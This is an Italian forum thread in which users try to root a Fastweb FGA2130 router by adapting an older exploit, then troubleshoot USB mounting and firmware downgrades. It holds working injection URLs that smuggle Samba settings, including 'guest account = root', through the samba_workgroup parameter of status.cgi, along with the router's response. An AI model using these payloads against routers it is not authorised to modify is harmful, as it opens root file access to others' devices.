[porf]

Nella notte si è aggiornato automaticamente alla versione 18.3.0307_FW_219_FGA2130

Appena ho un attimo provo ad applicare la procedura del DGA4131 per acquisire i permessi di root.

[porf]

Prova a seguire la guida del 4131. Cerca di arrivare al punto 3, se al punto 2 qualcosa sembra andare storto dicci cosa è successo.

Ho provato a seguire la guida, flashato l'immagine sul drive usb e ho lanciato il comando correggendolo con l'ip del mio router:

Codice: [Seleziona]

http://172.16.88.1/status.cgi?3g_pin=********&act=nvset&samba_enabled=1&samba_workgroup=WORKGROUP%5c%0a%09security%20%3d%20share%5c%0a%09guest%20account%20%3d%20root%5c%0a%09interfaces%20%3d%20lo%20br-lan%5c%0a%5c%0a%5bohnonotagain%5d&service=usb_status
Mi compare nel browser una pagina con la seguente stringa:

Codice: [Seleziona]

{
  "usb_status":{
    "samba_workgroup":"WORKGROUP\\\n\tsecurity = share\\\n\tguest account = root\\\n\tinterfaces = lo br-lan\\\n\\\n[ohnonotagain]",
    "disk_protected":"0",
    "3g_pin":"********",
    "samba_enabled":"1",
    "disk_username":"",
    "3g_fallback":"0",
    "3g_username":"",
    "disk_0_name":"Kingston",
    "samba_share_on":"wan",
    "dlna_enabled":"0",
    "3g_timeout":"60",
    "usb_status":"end",
    "disk_password":"",
    "printserver_enabled":"0",
    "3g_connection_status":"0",
    "total_disks":1,
    "3g_apn":"",
    "3g_password":"",
    "samba_server":"FASTGATE"
  }
}
Ma negli share di rete mi compare solamente una condivisione chiamata cfg02e23c che all'interno non ha nulla.

[LuKePicci]

Buono, allora forse l'exploit funziona ancora ma richiede solo di essere adattato a questo modello. Purtroppo c'è da andare alla cieca, quindi io non so aiutarti. Prova ad aggiungere a quell'url una definizioe completa di una share. L'exploit originale è fatto in modo tale che il risultato sia una configurazione samba in cui la share per la usb esterna continua a funzionare. Mi confermi che prima di provarci la chiavetta veniva montata e rilevata correttamente? Se non sbaglio dentro dovresti vedere almeno un file messo da chi ha creato l'immagine.

[porf]

Si, prima di provare con la modifica il mount funzionava.

[LuKePicci]

Ok allora non ti resta che trovare una configurazione di samba da iniettare attraverso il campo WORKGROUP tale per cui la share della chiavetta continui a funzionare.
Come ulteriore verifica che l'exploit funziona, torna ad una situazione in cui ti legge normalmente la chiavetta, poi prova con questo:

Codice: [Seleziona]

http://172.16.88.1/status.cgi?3g_pin=********&act=nvset&samba_enabled=1&samba_workgroup=WORKGROUP%5c%0a%09netbios%20name%20%3d%20BUCATO%5c%0a%09security%20%3d%20share%5c%0a%09guest%20account%20%3d%20root%5c%0a%09interfaces%20%3d%20lo%20br-lan%5c%0a%5c%0a%5bohnonotagain%5d&service=usb_status
E' uguale a quello che hai provato prima ma Il nome del dispositivo dovrebbe cambiare da FASTGATE a BUCATO

[ItalianGamer91]

Complarsi la vita per flashare un dispositivo cuando a me basta un zip con la cartella board. Io non so estrarre i firmware.

[porf]

Ok allora non ti resta che trovare una configurazione di samba da iniettare attraverso il campo WORKGROUP tale per cui la share della chiavetta continui a funzionare.
Come ulteriore verifica che l'exploit funziona, torna ad una situazione in cui ti legge normalmente la chiavetta, poi prova con questo:

Codice: [Seleziona]

http://172.16.88.1/status.cgi?3g_pin=********&act=nvset&samba_enabled=1&samba_workgroup=WORKGROUP%5c%0a%09netbios%20name%20%3d%20BUCATO%5c%0a%09security%20%3d%20share%5c%0a%09guest%20account%20%3d%20root%5c%0a%09interfaces%20%3d%20lo%20br-lan%5c%0a%5c%0a%5bohnonotagain%5d&service=usb_status
E' uguale a quello che hai provato prima ma Il nome del dispositivo dovrebbe cambiare da FASTGATE a BUCATO

Mi sono accorto che quando avevo visto il volume montato correttamente questo era formattato in fat.
Da quanto ho flashato sul drive usb l'immagine formattata in ext2, il router non la monta tra gli share di rete.

[LuKePicci]

Ipotesi 1: dopo aver eseguito il comando iniettato ti si è rotto samba, quindi ora non riesci nemmeno più a montare le chiavette in fat

Azione 1: fai comunque la prova che dicevo sopra, se ti ritrovi col nome di rete cambiato, possiamo provare a risolverla in modo diverso a prescindere dalla chiavetta. Se la prova ha esito negativo, ripetila dopo un factory reset

Ipotesi 2: col nuovo firmware che hai ricevuto l'altro ieri hanno rimosso di nuovo il supporto al mount di ext2/3, come fecero sul 789vac v2

Azione 2: se riformatti di nuovo una chiavetta in fat, la vedi? se no: factory reset, e riprova, sia con fat che ext2, le vedi? se la prima si e la seconda no: dovresti provare un downgrade a versione vecchia, eventualmente, se sei su bank_2, con di mezzo uno switchover forzato tramite triplo failboot

[porf]

Ipotesi 2: col nuovo firmware che hai ricevuto l'altro ieri hanno rimosso di nuovo il supporto al mount di ext2/3, come fecero sul 789vac v2

Azione 2: se riformatti di nuovo una chiavetta in fat, la vedi? se no: factory reset, e riprova, sia con fat che ext2, le vedi? se la prima si e la seconda no: dovresti provare un downgrade a versione vecchia, eventualmente, se sei su bank_2, con di mezzo uno switchover forzato tramite triplo failboot

Ho fatto un factory reset per avere una situazione pulita, ma è proprio quello che dici: la chiavetta formattata in fat la monta, quella in ext2 no.

[LuKePicci]

Ok prima di continuare con le prove dette in "azione 2", più complesse, aspetto di sapere l'esito di quelle in "azione 1"

[ItalianGamer91]

@LuKePicci come estraggo il firmware del fga2130 su ubuntu??

[LuKePicci]

Lo trovi qui sulla repo di @Ansuel, forse manca l'ultimo ma basta concentrarsi ed esprimere un desiderio che forse dopo un po' appare… 

[porf]

Ok prima di continuare con le prove dette in "azione 2", più complesse, aspetto di sapere l'esito di quelle in "azione 1"

Ho provato a resettare il router, ma le chiavette in ext2/3 non le monta.

[LuKePicci]

Allora ti tocca proprio un downgrade per capire se con le vecchie versioni ext2/3 funziona. Non serve per forza, puoi anche definire una share della root direttamente con l'exploit, ma alla cieca è complicato.

[porf]

Non saprei neanche da dove iniziare, quindi per adesso me lo tengo così, tanto funziona benissimo ed esigenze particolari non ne ho.